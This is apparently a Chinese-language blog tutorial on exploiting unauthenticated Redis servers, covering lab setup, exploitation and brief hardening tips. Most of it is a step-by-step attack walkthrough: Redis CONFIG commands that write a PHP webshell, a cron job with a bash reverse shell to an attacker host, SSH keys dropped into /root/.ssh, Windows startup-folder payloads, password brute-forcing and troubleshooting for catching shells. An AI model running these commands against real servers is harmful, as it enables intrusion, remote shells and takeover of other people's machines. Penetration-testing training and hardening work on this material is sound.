redis未授权
0X01redis介紹
redis是一個key-value存儲系統。和Memcached類似,它支持存儲的value類型相對更多,包括string(字符串)、list(鏈表)、set()、zset(sorted set –有序)和hash(哈希類型)。
redis很大程度補償了memcached這類key/value存儲的不足,在部分場合可以對關系數據庫起到很好的補充作用。它提供了Java,C/C++,C#,PHP,JavaScript,Perl,Object-C,Python,Ruby,Erlang等客戶端,使用很方便。
redis支持主從同步。數據可以從主服務器向任意數量的從服務器上同步,從服務器可以是關聯其他從服務器的主服務器。
默認端口:6379
0X02 漏洞簡介
Redis因配置不當就會導致未授權訪問。在默認情況下,Redis會綁定在 0.0.0.0:6379。如果沒有采用相關的策略,比如添加防火墻規則避免其他非信任來源 ip 訪問等,這樣 Redis 服務直接暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問到目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下,還可以利用 Redis 自身提供的config 命令進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的 /root/.ssh 文件夾的authotrized_keys 文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。
redis未授權訪問很容易導致挖礦事件
該漏洞的產生條件有以下兩點:
1、redis綁定在 0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;
2、沒有設置密碼認證(一般為空),可以免密碼(認證)遠程登錄redis服務。
0X03 漏洞危害:
1、攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;
2、攻擊者可通過執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;
3、最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登陸受害服務器。
0X04環境搭建
分別搭建windows和linux的測試環境。
windows redis 安裝
官方給出redis的windows版本最新為3.x。
windows下載地址:
https://github.com/microsoftarchive/redis/releases
下載Redis-x64-3.2.100.zip解壓到本地目錄下。
修改配置文件redis.windows.conf ,開啟遠程訪問,關閉保護模式。
修改bind 127.0.0.1為bind 0.0.0.0
修改protected-mode yes為protected-mode no
指定redis.windows.conf配置文件,啟動redis服務
linux redis安裝
wget http://download.redis.io/releases/redis-5.0.7.tar.gz
解壓并安裝Redis
tar -zvxf redis-5.0.7.tar.gz
移動redis目錄
mv /root/redis-5.0.7 /usr/local/redis
編譯
cd到/usr/local/redis目錄,輸入命令make執行編譯命令,接下來控制臺會輸出各種編譯過程中輸出的內容。
安裝
make PREFIX=/usr/local/redis install
這里多了一個關鍵字 PREFIX= 這個關鍵字的作用是編譯的時候用于指定程序存放的路徑。比如我們現在就是指定了redis必須存放在/usr/local/redis目錄。假設不添加該關鍵字Linux會將可執行文件存放在/usr/local/bin目錄,
庫文件會存放在/usr/local/lib目錄。配置文件會存放在/usr/local/etc目錄。其他的資源文件會存放在usr/local/share目錄。這里指定號目錄也方便后續的卸載,后續直接rm -rf /usr/local/redis 即可刪除redis。
啟動redis
./bin/redis-server& ./redis.conf
連接windows
redis默認情況下沒有設置密碼,在沒有設置IP訪問限制的情況下,可以通過redis寫入文件進行相關利用。
0x05漏洞利用
寫文件
寫文件這個功能其實就是通過修改 redis 的 dbfilename、dir 配置項。
通常來說掌控了寫文件也就完成了 rce 的一半。
這幾種寫文件來 getshell 的方式也是最有效最簡單的。
寫入webshell
適用范圍:windows,linux版本。
利用條件:
1、目標存在web目錄
2、已知web絕對路徑
3、存在寫入權限
利用過程:
利用redis寫入一個webshell到目標web目錄下。
config set dir “D:/phpstudy_pro/WWW”
config set dbfilename info.php
set x “\r\n\r\n<?php phpinfo();?>\r\n\r\n”
save
計劃任務反彈shell(只能centos時才可以)
centos 會無視產生的亂碼
反彈shell
什么是反彈shell
反彈shell(reverse shell),就是控制端監聽在某TCP/UDP端口,被控端發起請求到該端口,并將其命令行的輸入輸出轉到控制端。reverse shell與telnet,ssh等標準shell對應,本質上是網絡概念的客戶端與服務端的角色反轉。
為什么要反彈shell?
通常用于被控端因防火墻受限、權限不足、端口被占用等情形。
舉例:假設我們攻擊了一臺機器,打開了該機器的一個端口,攻擊者在自己的機器去連接目標機器(目標ip:目標機器端口),這是比較常規的形式,我們叫做正向連接。遠程桌面、web服務、ssh、telnet等等都是正向連接。那么什么情況下正向連接不能用了呢?
有如下情況:
1.某客戶機中了你的網馬,但是它在局域網內,你直接連接不了。
2.目標機器的ip動態改變,你不能持續控制。
3.由于防火墻等限制,對方機器只能發送請求,不能接收請求。
4.對于病毒,木馬,受害者什么時候能中招,對方的網絡環境是什么樣的,什么時候開關機等情況都是未知的,所以建立一個服務端讓惡意程序主動連接,才是上策。
那么反彈就很好理解了,攻擊者指定服務端,受害者主機主動連接攻擊者的服務端程序,就叫反彈連接。
攻擊端監聽一個端口
nc -lvp 9999
受害端生成一個反彈shell
bash -i >& /dev/tcp/10.201.61.194/6767 0>&1
攻擊端已獲取到受害端的bash
解釋
1.nc -lvp 9999
-l 監聽,-v 輸出交互或出錯信息,-p 端口。nc是netcat的簡寫,可實現任意TCP/UDP端口的偵聽,nc可以作為server以TCP或UDP方式偵聽指定端口。
2. bash -i
-i interactive。即產生一個交互式的shell(bash)。
3. /dev/tcp/IP/PORT
特殊設備文件(Linux一切皆文件),實際這個文件是不存在的,它只是 bash 實現的用來實現網絡請求的一個接口。打開這個文件就相當于發出了一個socket調用并建立一個socket連接,讀寫這個文件就相當于在這個socket連接中傳輸數據。
使用范圍:centos
利用條件:
1、權限可寫計劃任務
利用過程:
在權限足夠的情況下,利用redis寫入文件到計劃任務目錄下執行。
首先監聽端口。
nc -lvp 9999
利用redis生成計劃任務配置文件
config set dir /var/spool/cron
set tide “\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/x.x.x.x/9999 0>&1\n\n”
config set dbfilename root
save
寫入公鑰遠程連接
使用范圍:開啟了密鑰認證的linux主機
利用條件:
1、root權限
2、開啟了ssh密鑰登錄,存在/etc/.ssh文件
利用過程:
當redis以root身份運行,可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄目標服務器。
1、首先在centos靶機上開啟ssh密鑰登錄。
修改/etc/ssh/sshd_config配置文件。
Windows開機自啟動目錄
在 Windows 系統中有一個特殊的目錄,在這個目錄下的文件在開機的時候都會被運行。
將以下語句寫入此目錄
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\StartUp\exp.hta
開機自動打開計算器
Redis 密碼爆破
如果redis設置了密碼驗證
使用msf的auxiliary/scanner/redis/redis_login模塊
設置爆破的目標地址,和字典文件,不建議使用默認字典文件。
目標主機必須開啟了密鑰登錄才能利用。
ssh第一次連接時要加上 -o StrictHostKeyChecking=no,不然可能一直連不上。
ssh-keygen -t rsa 創建公鑰
(echo -e “n\n”; cat ~/.ssh/id_rsa.pub; echo -e “\n\n”)>
/tmp/1.txt
cd /tmp/
cat 1.txt 生成了
cat /tmp/1.txt | redis-cli -h x.x.x.x -p 6379 -x set crakit 公鑰上傳到服務器
主要是利用redis未授權寫🐎 和ssh密鑰 ssh登錄
redis-cli -h ip
ip:6379> config set dir /root/.ssh
config get dir
config set dbfilename authorized_key
save
exit
ssh登錄
ssh root@192.168.119.166 -i /.ssh/id-rsa
反序列化rce
當遇到 redis 服務器寫文件無法 getshell,可以查看redis數據是否符合序列化數據的特征。
序列化數據類型分辨:
jackson:關注 json 對象是不是數組,第一個元素看起來像不像類名,例如[“com.blue.bean.User”,xxx]
fastjson:關注有沒有 @type 字段
jdk:首先看 value 是不是 base64,如果是解碼后看里面有沒有 java 包名
redis 反序列化本質上不是 redis 的漏洞,而是使用 redis 的應用反序列化了 redis 的數據而引起的漏洞,redis 是一個緩存服務器,用于存儲一些緩存對象,所以在很多場景下 redis 里存儲的都是各種序列化后的對象數據。
兩個常見場景:
一、java 程序要將用戶登錄后的 session 對象序列化緩存起來,這種場景是最常見的。
二、程序員經常會把 redis 和 ORM 框架整合起來,一些頻繁被查詢的數據就會被序列化存儲到 redis 里,在被查詢時就會優先從 redis 里將對象反序列化一遍。
redis一般存儲的都是 java 序列化對象,php、python 比較少見,比較多的是 fastjson 和 jackson 類型的序列化數據,jdk 原生的序列化數據。
因為要從 redis 反序列化對象,在對象類型非單一或少量的情況下程序員通常會選擇開啟 jackson 的 defaulttyping 和 fastjson 的 autotype,所以通??梢赃M行利用。
fastjson反序列化和java反序列化和jackson 反序列化利用原理相同,都是通過篡改 redis 里面的反序列化數據,把惡意的序列化字節碼存儲進去,等到應用使用到它的時候就會反序列化觸發漏洞。
redis Error: Connection reset by peer 解決
redis.conf中的 bind 127.0.0.1沒有注釋掉
保護模式沒有關閉
啟動要綁定 配置文件 不然配置文件不會生效
redis.conf是redis的配置文件
redis-cli
CONFIG GET *
可以看所有內容
info 可以查看redis信息
ps | grep redis 查看redis pid
kill redis 的pid 強制關閉redis
一直沒有收到shell
檢查受害端系統日志
tail -f /var/log/syslog
是有在執行計劃的
報錯會發送到郵件服務器里
查看/var/spool/mail
發現報錯 /bin/sh : 1: Syntax error :Bad fd number
百度了一下,這條錯誤是因為/bin/bash沒有被找到,通過錯誤信息還可以明白一件事情,那就是linux里面的cron中command執行的shell環境是/bin/sh
ls -al /bin/sh 看一下 /bin/sh 是個啥
sudo mv /bin/sh /bin/sh.orig
sudo ln -s /bin/bash /bin/sh
替換shell環境為 bash
替換之后成功接收到shell
還有兩種解決辦法
1.將bash語句寫在一個腳本里 計劃執行這個腳本
2.*/1 * * * * bash -c “bash -i >&/dev/tcp/x.x.x.x/1234 0>&1”
使用這個直接在sh下用 bash -c
亂碼導致錯誤
使用kali做為目標主機進行測試,需要寫入計劃任務到/var/spool/cron/crontabs目錄下。
發現當目標主機為centos時可以反彈shell成功,使用了ubuntu和debian均無法成功反彈shell。
原因:由于redis向任務計劃文件里寫內容出現亂碼而導致的語法錯誤,而亂碼是避免不了的,centos會忽略亂碼去執行格式正確的任務計劃。
0x06總結
1.-> 這TM 到底是個什么東西?
因為配置不當導致redis服務可以被連接,攻擊者可以控制redis執行 config 命令,或者獲取目標服務器上redis緩存里的內容,通過控制寫入的dir 和filename,實現往服務器任意位置寫入任意文件。
2.-> “正常情況下” 它都被用在什么地方? 平時主要拿它來干啥? 或者說這個東西可以協助解決一些什么樣的實際業務問題 ?
常見的利用方法是,向網站目錄里寫入webshell(是絕大部分挖礦事件的原因)。如果是centos系統,可以向crontabs(linux的計劃任務文件,在/var/spool/cron里)實現計劃任務反彈shell。windows系統,可以往windos的開機自啟動目錄里寫入腳本。當然如果遇到 redis 服務器寫文件無法 getshell,可以查看redis數據是否符合序列化數據的特征。
3.-> 它在"正常情況下", 具體是怎么運作的 ? 或者說其內部大致 實現原理 和 正常執行流程 是怎樣的?
Redis 默認情況下,會綁定在 0.0.0.0:6379,這樣將會將 Redis 服務暴露到公網上,如果在沒有開啟認證的情況下,可以導致任意用戶在可以訪問目標服務器的情況下未授權訪問 Redis 以及讀取 Redis 的數據。攻擊者在未授權訪問 Redis 的情況下可以利用 Redis 的相關方法,可以成功在 Redis 服務器上寫入公鑰,進而可以使用對應私鑰直接登錄目標服務器。
4.-> 在實際滲透中我們到底能利用它來干些啥? 最終又能達到什么樣的利用效果? 或者說它能幫我們避免或者解決一些什么樣的實際滲透問題?
利用redis未授權,獲得一個shell,最終可以用來命令執行。低版本redis還可以通過eval執行lua代碼。如果是root權限可以寫入ssh公鑰,進行一個ssh的登錄
5.-> 針對它所演化出來的具體利用場景都有哪些? 覆蓋范圍影響如何?
只要是對外開啟了redis服務的都可以嘗試。如果對內開啟了redis且未授權,可以配合ssrf,利用gopher協議來寫shell,用腳本生成payload,使用 curl運行payload,寫入木馬,獲得webshell或者反彈shell。
6.-> 詳細利用條件又是啥? 利用成功的限制條件是否苛刻? 對于自己現有的目標性質是否有繼續深入研究的價值?
7.-> 實際利用中可能會存在什么樣的風險? 能否提前規避這些風險? 怎么規避? 萬一誤操作是否還能及時補救? 如何補救?
8.-> 能否在其原有基礎上進行針對性的改良利用,將其深度武器化而后直接付諸實戰?
9.-> 能否通過這個又聯想到一些其它的衍生利用場景? 或者因此萌生出了一些比較另類優秀的利用思路?
10.-> 仔細分析哪些情況下可能會直接導致利用失敗?
當redis存在密碼時,只能進行爆破,當redis權限不夠時,寫的文件可能不能自動執行。添加了防火墻規則避免其他非信任ip訪問redis。
11.-> 如何從源頭防御這種利用?
1.在配置文件中設置密碼,以提供遠程登錄
2.修改默認端口
3.禁止redis擁有root權限
4.給redis配置文件中綁定你允許的ip才能訪問
5.禁止一些高危命令,如 config ; flushall ; eval
總結
- 上一篇: 后台运行python程序
- 下一篇: 西工大计算机学院软件工程专硕,2021双